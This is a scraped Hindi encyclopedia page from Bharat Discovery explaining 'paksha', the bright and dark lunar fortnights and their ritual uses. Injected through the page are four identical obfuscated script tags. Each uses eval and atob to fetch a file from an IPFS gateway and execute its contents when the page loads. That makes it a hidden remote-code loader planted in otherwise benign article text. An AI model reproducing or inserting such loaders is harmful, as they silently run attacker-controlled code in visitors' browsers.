पक्ष

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 07:27, 27 जुलाई 2012 का अवतरण (Text replace - "{{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "{{लेख प्रगति |आधार= |प्रारम्भि�)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
  • एक चन्द्र मास को 30 तिथियों में बांटा गया है।
  • एक चन्द्र मास को दो चरण में भी बांटा गया है, जो प्रत्येक चौदह दिन का होता है। एक मास के दो अर्ध भाग, जिन्हें क्रम से शुक्ल एवं कृष्ण तथा पूर्व एवं अपर कहा जाता है
  • माह के पंद्रह दिन के एक भाग को हम 'पक्ष' कहते हैं-
  1. शुक्ल पक्ष
  2. कृष्ण पक्ष
  • इन दोनों पक्षो की अपनी अलग आध्यात्मिक विशेषता होती है.
  • चौदह दिन के बाद पंद्रहवें दिन क्रमश: पूर्णिमा या अमावस्या होती हैं।
  • सामान्य नियम यह है कि शुक्ल पक्ष देव पूजा एवं समृद्धि के लिए किये जाने वाले कृत्यों के लिए व्यवस्थित माना जाता है।
  • कृष्ण पक्ष मृत एवं पूर्व पुरुषों तथा दूसरों को हानि पहुँचाने वाले ऐन्द्रजालिक कृत्यों के लिए व्यवस्थित समझा जाता है। [1]; [2]; [3]

  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. वर्षक्रियाकौमुदी (236-237, मनु 3|278-279 का उद्धरण
  2. समयमयूख (145
  3. पुरुषार्थचिन्तामणि (31-32

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>